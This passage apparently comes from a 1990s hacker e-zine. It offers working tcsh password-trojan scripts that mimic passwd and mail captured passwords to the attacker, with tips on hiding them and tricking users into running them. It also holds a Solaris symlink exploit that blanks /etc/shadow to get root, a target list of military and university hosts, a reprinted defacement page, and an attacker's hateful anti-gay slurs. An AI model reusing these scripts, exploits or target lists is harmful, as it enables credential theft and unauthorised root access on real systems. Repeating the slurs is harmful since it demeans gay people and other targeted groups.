ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
7. Simple Password Trojan Scripts : Kevin Carter
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Here I will be presenting two scripts, (more of an idea really)... That
you may use to get passwords from people's accounts you are using via
rlogin... I am not a super script writer, and that is why I present it as
more of an idea, with an example or two...
If you get on someones account, you may want to hide this file, for this
example we will assume it is named ".hiddenf"... So you could put this
in the users home directory, and then add to the users .login an alias
for "/bin/passwd/" and "passwd", with "$HOME/.hiddenf" being run instead, so
that anytime after that, when they try to change their password, they will
really run the script... This script never erases it itself, because
then you would never get the NEW password...
Script 001 :
------------
#!/bin/tcsh
echo -n "Changing password for $USER on "
hostname
echo -n "Old password: "
stty -echo
echo $<>$HOME/.tym
stty echo
echo ""
mail me@my.anon.mail.service.org<$HOME/.tym
rm $HOME/.tym
echo
echo "Sorry."
Now this next script is a bit different, in that it prompts for both old and
new passwords, and then gives an 'error' of "Incorrect Password"... and
erases itself... With this you would sort of have to hope the user chooses
the same "New Password" the second time it is run.. (The real passwd binary
that is)... When 'installing' this you would probably once again want to
hide it, and alias "/bin/passwd" and "passwd" to run the hidden file..
Script 002 :
------------
#!/bin/tcsh
echo -n "Changing password for $USER on ";hostname
echo -n "Old password: "
stty -echo
echo $<>$HOME/.tym
echo ""
echo -n "New password: "
echo $<>>$HOME/.tym
echo ""
stty echo
mail me@my.anon.mail.service.org<$HOME/.tym
rm $HOME/.tym
echo "Error: Incorrect Password"
rm -f $0
unalias /bin/passwd
unalias passwd
Now you may think "Why would the user want to change his/her password
anytime soon?".. Well, to get them to change passwords you could send
fakemail 'from' their root.. saying that the password file has been tampered
with, and that they need to change passwords.. maybe even saying "please
use at least one upper case letter, and a number", or something to make
it sound real... Or if you could think of any other way to scare the user
into changing it, that would also work...
KC.
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
8. The Last Hack Of dk : taken from www.crackhouse.com
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
On October 31, 1996, a "computer hacker" gained access to the Internet server
at the QCC and defaced our HomePage with vicious, hateful text and images.
These actions are not only malicious, but clearly illegal. These actions are a
clear form of "bashing" via the Internet and a serious hate crime.
We have saved the defaced page for evidence.
The contents can be summarized as a long string of "kill the faggots",
"god hates fags", "AIDS KILLZ Faggots DEAD" and "fags are wrong, the bible
says so. if you are gay or think you are, the QCC recommends suicide.".
Existing images of the page were defaced with the word "Die Fags" and
demeaning, derogatory images of women were added to the page. The intent of
the message was violent and hateful, and a clear violation of California's
anti-hate legislation.
Hate crimes on the Internet are rare, but have occurred on other sites.
The Gay & Lesbian Center is currently reviewing appropriate available actions
with our Legal Services Department.
The QCC server has been resecured, and a number of additional reconfigurations
have been implemented to increase server security. Unfortunately, no system
on the Internet is ever 100% safe from a dedicated hacker with malicious
intention. The system is now being carefully monitored.
Finally, we apologize to all of our users who were exposed to this defamation
prior to its discovery and correction by the project's manager. We thank
everyone who called and E-mailed to bring this to our attention.
We will post further information as it become available. We continue to support
each other in these new digital communities and will work with our allies, to
prevent the transmission of old hatreds, ignorance, bigotry and inhumanity
into this new cyber environment.
This message from:
The L.A. Gay & Lesbian Center
A personal message from the QCC's project manager, John Waiblinger
contrary to popular belief i don't hold an anti-gay stance,
i was just merely busting some balls, by the way, tami from the real
world used to work at the L.A. Gay & Lesbian Center, hugs tami!!, you
dumb spic, by the way, "ignorance" ? last time i checked i wasn't the
one who got hacked, break yo self QCC. -dk
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
9. Department of Defence Server Listing : The CodeZero crew
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
6.1.0.1 yuma-emh1.army.mil yuma.arpa yuma1.army.mil
7.8.0.2 protolaba.dca.mil protolaba.arpa
7.0.0.3 edn-vax.dca.mil edn-vax.arpa
8.0.0.2 ccs.bbn.com
8.1.0.2 cci.bbn.com bbncci.arpa
8.3.0.2 ccd.bbn.com bbnccd.arpa
8.5.0.2 cck.bbn.com
8.0.0.5 cd2.bbn.com
8.2.0.5 cc1-tac.bbn.com
8.3.0.9 bbnnet2-arpanet-gw.arpa bbnnet2-arpanet-gw.bbn.com
8.7.0.9 egonoc.bbn.com
8.0.0.10 cc4-tac.bbn.com
8.3.0.10 jsnach.bbn.com jsnach.arpa
8.1.0.12 noc3.bbn.com
8.5.0.14 dev.cs.net
128.89.0.94 dev.cs.net
8.1.0.16 rvax.bbn.com
128.89.0.132 rvax.bbn.com
8.1.0.18 cc2.bbn.com
8.7.0.18 cca.bbn.com bbncca.arpa
8.6.0.19 cc3-tac.bbn.com
8.9.0.19 ccny.bbn.com
8.2.0.24 ccu.bbn.com bbnccu.arpa
8.3.0.24 cco.bbn.com
8.0.0.26 ccp.bbn.com
8.1.0.26 ccq.bbn.com bbnccq.arpa
8.3.0.26 hnoc.bbn.com
8.5.0.26 z.bbn.com bbnz.arpa
8.7.0.26 ccx.bbn.com bbnccx.arpa
8.8.0.26 ccy.bbn.com bbnccy.arpa
8.16.0.33 cce.bbn.com bbncce.arpa
8.1.0.35 col.bbn.com bbncc-columbia.arpa
8.2.0.37 cc-vm.bbn.com
8.0.0.58 idnoc.bbn.com
8.0.0.97 noc4.bbn.com
10.4.0.5 gw-1.cs.net
192.31.103.1 gw-1.cs.net
192.5.58.1 gw-1.cs.net
10.7.0.5 lpr-netman.arpa lpr-netman.bbn.com
10.2.0.7 rand-arpa-tac.arpa
10.2.0.11 su-arpa-tac.arpa
10.3.1.11 stanford.arpa
10.5.0.14 white.incsys.com incremental.arpa
192.31.230.1 white.incsys.com incremental.arpa
10.6.0.14 cadre.dsl.pitt.edu cadre.arpa cadre.dsl.pittsburgh.edu
128.147.128.1 cadre.dsl.pitt.edu cadre.arpa cadre.dsl.pittsburgh.edu
128.147.1.1 cadre.dsl.pitt.edu cadre.arpa cadre.dsl.pittsburgh.edu
130.49.128.1 cadre.dsl.pitt.edu cadre.arpa cadre.dsl.pittsburgh.edu
10.8.0.14 gateway.sei.cmu.edu
128.237.254.254 gateway.sei.cmu.edu
128.2.237.251 gateway.sei.cmu.edu
10.4.0.17 tis.com tis.arpa
10.2.0.20 dcec-arpa-tac.arpa
10.3.0.20 edn-unix.dca.mil edn-unix.arpa
10.5.0.20 dcec-psat.arpa
10.11.0.20 sccgate.scc.com sccgate.arpa
10.1.21.27 mcon.isi.edu
10.0.21.22 mcon.isi.edu
10.1.22.27 speech11.isi.edu
10.1.23.27 wbc11.isi.edu isi-wbc11.arpa
10.0.23.22 wbc11.isi.edu isi-wbc11.arpa
10.1.89.27 setting.isi.edu isi-setting.arpa
10.1.91.27 pallas-athene.isi.edu isi-pallas-athene.arpa
10.1.97.27 aikane.isi.edu isi-aikane.arpa
10.1.98.27 czar.isi.edu isi-czar.arpa
10.1.99.27 mycroft.isi.edu isi-mycroftxxx.arpa
10.1.124.27 cmr.isi.edu isi-cmr.arpa
10.1.156.27 png11.isi.edu
10.1.254.27 echo.isi.edu isi-echo.arpa
10.0.0.28 arpa3-tac.arpa
10.1.0.31 amc.xait.xerox.com cca-vms.arpa
10.4.0.31 xait-arp-tac.arpa cca-arp-tac.arpa
10.0.0.46 collins-pr.arpa
10.1.0.46 collins-gw.arpa
192.12.172.11 collins-gw.arpa
10.7.0.51 a-lhi-sri-03.arpa
10.3.1.54 jpl-robotics.arpa
10.1.0.63 bbn-arpa-tac.arpa
10.2.0.77 mit-arpa-tac.arpa
10.3.0.77 umass-gw.cs.umass.edu unix1.cs.umass.edu
128.119.40.12 umass-gw.cs.umass.edu unix1.cs.umass.edu
10.0.0.82 tacac.arpa
10.1.0.82 a-lhi-bbn-01.arpa
10.5.0.82 arpa-mc.arpa arpanet-mc.arpa
10.5.0.96 prc-gw.prc.unisys.com
10.2.0.99 vax-x25.arpa
10.3.0.99 bbn-x25-test3.arpa
10.4.0.99 bbn-x25-test4.arpa
10.5.0.99 test-host5-x25.arpa
10.0.0.115 anoc1.arpa
10.0.0.126 tycho.ncsc.mil tycho.arpa
10.1.0.126 afterlife.ncsc.mil afterlife.arpa
13.2.16.8 parcvax.xerox.com vaxc.xerox.com
13.1.100.206 arisia.xerox.com
13.0.12.232 xerox.com xerox.arpa
14.0.0.4 vtest.cs.ucl.ac.uk ucl-vtest.arpa
14.0.0.5 ess-tun.cs.ucl.ac.uk
14.0.0.9 tunnel.cs.ucl.ac.uk
15.255.152.2 sde.hp.com
15.255.16.7 hplabs.hp.com hplabs.arpa
16.1.0.1 decwrl.dec.com wrl.dec.com
16.10.0.1 vixie.sf.ca.us
16.1.0.2 gatekeeper.dec.com
16.1.0.3 cerberus.pa.dec.com
16.1.0.8 src.dec.com decsrc.dec.com
16.1.0.9 wsl.dec.com
18.72.2.1 mit.edu
18.77.0.2 mitlns.mit.edu
18.85.0.2 media-lab.media.mit.edu
18.87.0.2 euler.mit.edu
18.92.0.2 coventry.mit.edu
18.72.0.3 bitsy.mit.edu
18.79.0.3 lids.mit.edu
18.85.0.3 atrp.media.mit.edu
18.87.0.3 cauchy.mit.edu
18.92.0.3 mitvma.mit.edu
18.71.0.4 orpheus.mit.edu
18.86.0.4 xv.mit.edu
18.87.0.4 abel.mit.edu
18.79.0.5 lmpvax.mit.edu
18.86.0.5 dolphin.mit.edu
18.87.0.5 stokes.mit.edu
18.10.0.6 sludge.lcs.mit.edu mit-sludge.arpa
18.26.0.134 sludge.lcs.mit.edu mit-sludge.arpa
128.127.25.101 sludge.lcs.mit.edu mit-sludge.arpa
18.62.0.6 eddie.mit.edu mit-eddie.mit.edu
18.72.0.6 priam.mit.edu
18.85.0.6 ems.media.mit.edu
18.86.0.6 sloan.mit.edu
18.87.0.6 banach.mit.edu
18.71.0.7 jason.mit.edu
18.87.0.7 fermat.mit.edu
18.72.0.8 achilles.mit.edu
18.87.0.8 bourbaki.mit.edu math.mit.edu
18.10.0.9 gross.ai.mit.edu mit-gross.arpa
128.52.22.9 gross.ai.mit.edu mit-gross.arpa
128.52.14.1 gross.ai.mit.edu mit-gross.arpa
128.52.32.1 gross.ai.mit.edu mit-gross.arpa
18.87.0.9 archimedes.mit.edu
18.75.0.10 space.mit.edu
18.87.0.10 fourier.mit.edu
18.87.0.11 newton.mit.edu
18.71.0.12 paris.mit.edu
18.87.0.12 noether.mit.edu
18.80.0.13 charon.mit.edu
18.87.0.13 zermelo.mit.edu
18.72.1.14 eagle.mit.edu
18.80.0.14 prometheus.mit.edu
18.87.0.14 borel.mit.edu
18.87.0.15 poisson.mit.edu
18.87.0.16 schubert.mit.edu
18.62.0.17 dspvax.mit.edu mit-bugs-bunny.arpa
18.80.0.17 bloom-beacon.mit.edu
18.87.0.17 boole.mit.edu
18.27.0.18 fft.mit.edu
18.87.0.18 galois.mit.edu
18.27.0.19 dft.mit.edu
18.87.0.19 laplace.mit.edu
18.27.0.20 porky.mit.edu
18.87.0.20 ramanujan.mit.edu
18.92.0.20 po.mit.edu
18.27.0.21 sam.mit.edu
18.87.0.21 turing.mit.edu
18.87.0.22 russell.mit.edu
18.87.0.23 hypatia.mit.edu emma.mit.edu
18.87.0.24 laurent.mit.edu
18.87.0.25 bessel.mit.edu
18.87.0.26 cantor.mit.edu
18.87.0.27 fibonacci.mit.edu
18.87.0.28 lebesgue.mit.edu
18.87.0.29 pythagoras.mit.edu
18.85.0.30 hq.media.mit.edu
18.87.0.30 von-neumann.mit.edu
18.87.0.31 polya.mit.edu
18.87.0.32 pascal.mit.edu
18.87.0.33 euclid.mit.edu
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26.11.0.63 mtf-mather.af.mil
26.12.0.63 navshipyd-longbeach.arpa
26.13.0.63 supship-long-beach.arpa
26.15.0.63 van-nuys-dmins.dla.mil
26.16.0.63 elsegundo-dmins.dla.mil
26.24.0.63 losalmts-darms.army.mil
26.0.0.64 robins.mt.ddn.mil robins-mil-tac.arpa
26.4.0.64 ftmcpherson-ignet.army.mil forscom-ignet.army.mil igmirs-forscom
.arpa
26.8.0.64 gillem-mil80.army.mil mil-80-2bde.arpa
26.9.0.64 wr-hits.af.mil wr-hits.arpa
26.10.0.64 snag-wr.af.mil snag-wr.arpa
26.12.0.64 ftgillm-ignet.army.mil igmirs-ftgillm.army.mil igmirs-ftgillm.ar
pa
26.13.0.64 robinsmdss.af.mil robinsmdss.arpa
26.16.0.64 robins-piv-1.af.mil
26.0.0.65 el-segundo.mt.ddn.mil elsegundo2-mil-tac.arpa
26.2.0.65 aerospace.aero.org aero.org
192.5.9.3 aerospace.aero.org aero.org
130.221.192.10 aerospace.aero.org aero.org
26.4.0.65 jpl-milvax.arpa
128.1.13.0 jpl-milvax.arpa
26.11.0.65 dcrl.dla.mil dcrl.arpa
26.14.0.230 dcrl.dla.mil dcrl.arpa
26.30.0.65 afsc-ssd.af.mil afsc-sd.af.mil
26.1.0.66 afgl.arpa
26.2.0.66 hanscom.mt.ddn.mil afgl-mil-tac.arpa
26.6.0.66 eastlonex.radc.af.mil radc-eastlonex.arpa
26.7.0.66 gtewis.af.mil gtewis.arpa
26.8.0.66 gw2.hanscom.af.mil esdvax.arpa
26.13.0.66 afgl-vax.af.mil afgl-vax.arpa
26.14.0.66 drcvax.af.mil drcvax.arpa
26.15.0.66 hanscom-am1.af.mil hanscom-am1.arpa
26.19.0.66 supship-bath.navy.mil supship-bath.arpa
26.0.0.67 andrews.mt.ddn.mil afsc-hq-mil-tac.arpa
26.1.0.67 afsc-hq.arpa afsc-hq.af.mil
26.2.0.67 hqafsc-vax.af.mil hqafsc-vax.arpa
26.7.0.67 mqg.dca.mil mqg.arpa
26.9.0.67 indianhead.nswc.navy.mil nswc-ih.arpa
26.10.0.67 ftmeade-darms.army.mil meade-darms.army.mil darms-4.arpa
26.11.0.67 navsea-331.navy.mil
26.12.0.67 alexandria-ignet1.army.mil igmirs-cidc.army.mil igmirs-cidc.arpa
26.14.0.67 hqafsc-lons.af.mil
26.15.0.67 alexandria-ignet.army.mil igmirs-darcom.arpa
26.16.0.67 navsea-pms313.navy.mil
26.17.0.67 andrews-piv-1.af.mil andrews-piv-1.arpa
26.0.0.69 abrams2.mt.ddn.mil abrams2-mil-tac.arpa
26.4.0.69 frankfurt-asims.army.mil fra-asims.arpa
26.7.0.69 hanau-emh1.army.mil email-hanau.army.mil
26.8.0.69 aschaffenb-emh1.army.mil
26.10.0.69 frankfurt-ignet2.army.mil fra-ignet.army.mil
26.12.0.69 dar-ignet.army.mil
26.14.0.69 euraaa.army.mil
26.0.0.70 cmsc.dca.mil cmsc.arpa
26.3.0.70 dcaoc2.mt.ddn.mil dcaoc2-mil-tac.arpa
26.6.0.70 washngtn-meprs.army.mil
26.7.0.70 anacostia-onet.navy.mil
26.8.0.70 navyyard-onet.navy.mil
26.19.0.70 ddntrouble.dca.mil ddntrouble.arpa
26.0.0.71 okc-unix.arpa
26.1.0.71 ftsill-ignet.army.mil sill-ignet.army.mil igmirs-sill-ig.arpa
26.2.0.71 tinker.mt.ddn.mil tinker-mil-tac.arpa
26.3.0.71 satods.arpa
26.4.0.71 tinkermdss.af.mil tinkermdss.arpa
26.6.0.71 ccso-vax.af.mil ccso-vax.arpa
131.18.3.1 ccso-vax.af.mil ccso-vax.arpa
26.10.0.71 oc1.af.mil oc1.arpa
26.12.0.71 ocdis01.af.mil
26.14.0.71 aflc-oc-aisg1.af.mil
26.16.0.71 apsd-ii-os062.af.mil apsd-ii-os062.arpa
26.17.0.71 tinker-piv-1.af.mil tinker-piv-1.arpa
26.24.0.71 chaffe-tcaccis.army.mil
26.0.0.72 ddn-shadow-mc.dca.mil ddn-shadow-mc.arpa
26.1.0.72 ilcn-natick.arpa
26.2.0.72 ddn2.dca.mil ddn.dca.mil ddn2.arpa ddn.arpa
26.5.0.72 inmet.inmet.com inmet.com ddnt.arpa
26.6.0.72 devens-perddims.army.mil perddims19.arpa
26.7.0.72 watertown-emh1.army.mil
26.8.0.72 x25test.dca.mil x25test.arpa
26.9.0.72 dcrb2.arpa
26.7.0.58 dcrb2.arpa
26.11.0.72 nsyptsmh-poe.arpa nsyportsmouth.arpa nysportsmouth.arpa
192.26.20.2 nsyptsmh-poe.arpa nsyportsmouth.arpa nysportsmouth.arpa
26.12.0.72 loring-am1.af.mil loring-am1.arpa
26.14.0.72 pease-am1.af.mil pease-am1.arpa
26.15.0.72 natick-emh1.army.mil natick1.arpa
26.0.0.73 sri-nic.arpa nic.ddn.mil
10.0.0.51 sri-nic.arpa nic.ddn.mil
26.3.0.73 menlo-park.mt.ddn.mil sri-mil-tac.arpa
26.5.0.73 twg.com twg.arpa
26.0.0.74 white-sands.mt.ddn.mil whitesands-mil-tac.arpa
26.2.0.74 wsmr-simtel20.army.mil simtel20.arpa simtel20.army.mil
26.4.0.74 ftbliss-ignet.army.mil bliss-ignet.army.mil igmirs-ftbliss.arpa
26.6.0.74 holloman-am1.af.mil holloman-am1.arpa
26.8.0.74 bliss-perddims.army.mil perddims02.arpa
26.11.0.74 wsmr-emh99.army.mil traps-wsmr.arpa
26.13.0.74 bliss-ato.army.mil bliss-ato.arpa
26.0.0.75 yuma.mt.ddn.mil yuma-mil-tac.arpa
26.5.0.75 luke-piv-3.af.mil luke-piv-3.arpa
26.8.0.75 nellis-piv-1.af.mil nellis-piv-1.arpa
26.10.0.75 mtf-nellis.af.mil mtf-nellis.arpa
26.1.0.76 dca-ems.dca.mil dca-ems.arpa dcems.arpa
26.3.0.76 dcaoc.mt.ddn.mil dcaoc-mil-tac.arpa
26.4.0.76 deers-alexandria.arpa
26.5.0.76 oahost.dca.mil oahost.arpa
26.6.0.76 belvoir-ignet2.army.mil igmirs-corpeng.arpa
26.10.0.76 pentagon-bcn.army.mil pentagon-bcn.arpa
192.31.75.235 pentagon-bcn.army.mil pentagon-bcn.arpa
26.17.0.76 conus-milnetmc.dca.mil conus-milnetmc.arpa
26.0.0.76 conus-milnetmc.dca.mil conus-milnetmc.arpa
26.2.0.77 zama.mt.ddn.mil zama-mil-tac.arpa
26.4.0.77 zama-ignet.army.mil ignet-cpzama.arpa
26.6.0.77 yokota-piv-1.af.mil yokota-piv-1.arpa
26.7.0.77 misawa-piv-1.af.mil misawa-piv-1.arpa
26.11.0.77 zama-pacdpine.army.mil pacdpinet-zama.arpa
26.13.0.77 mtf-misawa.arpa mtf-misawa.af.mil
26.14.0.77 ncpds-iwakuni.arpa
26.15.0.77 nsdyok.arpa yoknsd.arpa
26.10.0.77 nsdyok.arpa yoknsd.arpa
26.16.0.77 ida-fms-yokosuka.arpa
26.17.0.77 poj-har.army.mil poj-har.arpa
26.18.0.77 zama-emh1.army.mil
26.19.0.77 cpzama-jacs6350.army.mil
26.1.0.78 puget-sound.mt.ddn.mil pugetsound-mil-tac.arpa
26.5.0.78 peracv.navy.mil peracv.arpa
26.6.0.78 navhospbrem.arpa
26.7.0.78 navmeducabremerton.arpa
26.8.0.78 navmeducaoakharbor.arpa
26.15.0.78 lewis-asims.army.mil asims-020.arpa
26.0.0.79 benning.mt.ddn.mil benning-mil-tac.arpa
26.4.0.79 benning-ato.arpa
26.6.0.79 benning.army.mil
26.7.0.79 benning-tcaccis.army.mil
26.10.0.79 mcdn-alb.arpa
26.11.0.79 mtf-maxwell.af.mil mtf-maxwell.arpa
26.13.0.79 benning-jacs5074.army.mil jacs5074.arpa
26.14.0.79 columbus-am1.af.mil columbus-am1.arpa
26.15.0.79 camnet-columbus-r02.af.mil camnet-columbus-r02.arpa
26.16.0.79 gunter-am1.af.mil gunter-am1.arpa camnet-gunt-r01.arpa
26.18.0.79 benning-perddims.army.mil perddims33.arpa
26.19.0.79 benning-meprs.army.mil
26.24.0.79 ftgillem-darms.army.mil
26.25.0.79 ftmcphsn-jacs5073.army.mil
26.31.0.79 benning-asims.army.mil asims-034.arpa
26.0.0.80 bragg.mt.ddn.mil bragg-mil-tac.arpa
26.4.0.80 tecnet-clemson.arpa tecnet-clemson.jcte.jcs.mil
26.5.0.80 nardac-cherrypt.arpa
26.6.0.80 chrnsc.arpa
26.9.0.80 chrnsc.arpa
26.7.0.80 ed-mb.af.mil ed-mb.arpa
26.8.0.80 netpmsa-charl3.arpa
26.10.0.80 ftbragg-asatms.army.mil bragg-asatms.army.mil
26.11.0.80 navmeducacharleston.arpa
26.12.0.80 mcdn-clb3.arpa
26.13.0.80 bragg-asims.army.mil
26.14.0.80 jackson-jacs5056.army.mil jackson-jacs.army.mil
26.15.0.80 cptmas.arpa
26.16.0.80 navmeducalejeune.arpa
26.17.0.80 navmeducacherrypt.arpa
26.18.0.80 bragg-jacs5072.army.mil bragg-jacs.army.mil
26.19.0.80 ftbragg-ignet.army.mil bragg-ignet.army.mil
26.24.0.80 pope-piv-1.af.mil pope-piv-1.arpa
26.25.0.80 ftbragg-ignet2.army.mil bragg-ignet2.army.mil
26.26.0.80 ftbragg-ignet3.army.mil bragg-ignet3.army.mil
26.30.0.80 bragg-emh1.army.mil bragg.arpa
26.31.0.80 bragg-perddims.army.mil perddims10.arpa
26.0.0.81 carderock.mt.ddn.mil david-mil-tac.arpa
26.3.0.81 dtrc.dt.navy.mil dtrc.arpa
130.46.1.3 dtrc.dt.navy.mil dtrc.arpa
26.6.0.81 dmacsc.dma.mil dmaodshost.arpa
26.9.0.81 hqaaa.army.mil hqaaa.arpa
26.11.0.81 nardacdc002.arpa dcmail.arpa
26.20.0.81 wrair-emh1.army.mil ilcn-wreed.arpa wrair.arpa
26.2.0.82 buckner.mt.ddn.mil buckner-mil-tac.arpa
26.5.0.82 navmeducaokinawa.arpa
26.6.0.82 ncpds-butler.arpa
26.7.0.82 kadena-piv-1.af.mil kadena-piv-1.arpa
26.8.0.82 kadena-c01.af.mil kadena-c01.arpa
26.9.0.82 kadena-c02.af.mil kadena-c02.arpa
26.10.0.82 mtf-kadena.af.mil mtf-kadena.arpa
26.12.0.82 kadena-am2.af.mil kadena-am2.arpa
26.13.0.82 sac-misc3.af.mil sac-misc3.arpa
26.18.0.82 buckner-emh1.army.mil
26.0.0.83 robins2.mt.ddn.mil robins2-mil-tac.arpa
26.5.0.83 wr1.af.mil wr1.arpa
26.6.0.83 wrdis01.af.mil
26.7.0.83 edcars-wr.af.mil edcars-wr.arpa
26.8.0.83 aflc-wr-aisg1.af.mil aflc-wr-aisg1.arpa
26.9.0.83 dmmis-wr.af.mil dmmis-wr.arpa
26.10.0.83 robins-am1.af.mil robins-am1.arpa
26.11.0.83 kngtrf.navy.mil kngtrf.arpa
26.15.0.205 kngtrf.navy.mil kngtrf.arpa
26.12.0.83 moody-am1.af.mil moody-am1.arpa
26.13.0.83 robins-piv-2.af.mil
26.15.0.83 robins-pc3.af.mil robins-pc3.arpa
26.16.0.83 remis-wr.af.mil
26.2.0.84 dahlgren.mt.ddn.mil nswc-mil-tac.arpa
26.3.0.84 oas.nswc.navy.mil nswc-oas.arpa
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
10. Solaris 2.5 Calendar Exploit : Tetsu Khan
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Umm, firstly check to see if /usr/dt/bin/sdtcm_convert exists, then edit this
by replacing <username> with your username on the host. Also, if /etc/shadow
doesnt exist, just change all the /etc/shadow entries here to /etc/passwd
Oh yeah, d0nut type the % signs :)
% ln -s /etc/shadow /tmp/calorig.<username>
% /usr/dt/bin/sdtcm_convert -d /tmp -v 3 <username>
% ls -l /etc/shadow
% chmod 644 /etc/shadow
% cp /dev/null /etc/shadow
% ls -l /etc/shadow
% echo "root::6445::::::" >> /etc/shadow
% su
Have Phun!
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
11.CodeZero World News : fr1day / od^phreak
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Web Sites Start To Drop Like Flies!
-----------------------------------
On the 16th of March the following sites were reported to have been hacked :
http://www.catch22.com <---- wh0 gn0s?
http://www.hawkee.com <---- wh0 gn0s?
http://www.jetpack.com <---- Had pikshure of SiN on it.
http://www.potatoe.com <---- Had pikshure of SiN on it.
Links and Greets to SiN members were found in all cases but www.hawkee.com
Here is the index.html that was found on http://www.catch22.com and
http://www.hawkee.com , which were the biggest of the four hacked...
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<TITLE>ThIS Is a StIcKUP! dRoP It pUnk, fBi!!!</TITLE>
<META NAME="Author" CONTENT="eye d0nut gn0 muh name">
<META NAME="GENERATOR" CONTENT="Mozilla/3.01Gold (Win95; I) [Netscape]">
<META NAME="Description" CONTENT="umm, owned">
</HEAD>
<BODY TEXT="#000000" BGCOLOR="#000000" LINK="#FF0000" VLINK="#551A8B" ALINK="#0000FF">
<CENTER><P><B><TT><U><FONT COLOR="#FF0000"><FONT SIZE=+3>ThiS SiTe HaS
bEeN hIjAcKeD!</FONT></FONT></U></TT></B></P></CENTER>
<CENTER><P>
<HR WIDTH="100%"></P></CENTER>
<CENTER><P><B><TT><BLINK><FONT COLOR="#0080FF"><FONT SIZE=+3>5 17 6 7 2
7 20 17</FONT></FONT></BLINK></TT></B></P></CENTER>
<CENTER><P>
<HR WIDTH="100%"></P></CENTER>
<CENTER><P><B><TT><U><FONT COLOR="#FF0000"><FONT SIZE=+3>Hi Spartan</FONT></FONT></U></TT></B></P></CENTER>
<CENTER><P><B><TT><U><FONT COLOR="#FF0000"><FONT SIZE=+3><A HREF="NeonUnix's">http://www.neonunix.org/exploits">NeonUnix's SPlOItZ SeCTIoN</A></FONT></FONT></U></TT></B></P></CENTER>
<CENTER><P><B><TT><U><FONT COLOR="#FF0000"><FONT SIZE=+3><A HREF="The">http://www.l0pht.com">The
L0phT</A></FONT></FONT></U></TT></B></P></CENTER>
<CENTER><P><B><TT><U><FONT COLOR="#FF0000"><FONT SIZE=+3><A HREF="The">http://www.pancreas.com">The
PaNcReaS</A></FONT></FONT></U></TT></B></P></CENTER>
<CENTER><P><B><TT><U><FONT COLOR="#FF0000"><FONT SIZE=+3><A HREF="The">http://www.crackhouse.com">The
Crackhouse</A></FONT></FONT></U></TT></B></P></CENTER>
<CENTER><P><B><TT><U><FONT COLOR="#FF0000"><FONT SIZE=+3><A HREF="The">http://underground.org">The
UnDerGrOunD</A></FONT></FONT></U></TT></B></P></CENTER>
<CENTER><P>
<HR WIDTH="100%"></P></CENTER>
<CENTER><P><FONT COLOR="#FFFF00">HAcK tHE FuCkEn PlaNeT, GrEetS GoEs T0o
:</FONT></P></CENTER>
<CENTER><P><FONT COLOR="#FFFF00">Shivers / X-Jester / Sciri / Deprave / Zophar / WilD_FirE /
BoMbJaCk / Jester / DarkWay / Virtual_Kermit / Tricky_Dicky</FONT></P></CENTER>
<CENTER><P><FONT COLOR="#FFFF00">AnYoNe I FerGot, S0rry :)</FONT></P></CENTER>
<CENTER><P>
<HR WIDTH="100%"></P></CENTER>
</BODY>
</HTML>
If you want, copy and load that into NutScrape, or the client you use, then
you will see its true majesty, the numbers at the top that flash will be
decyphered soon, maybe they form a name, or even an ip? who knows?
This was recently found on CTfire...
------------------------------------
Taken from www.ctfire.com :
News About mIRC & CTFire
This Section Is Reserved For The Latest Information On mIRC
And CTFire. If You Have Any News, Please Let Me Know.
Hacking hawkee.com - In case you didn't know, a number of
Nethosting.com servers including hawkee.com was hacked into.
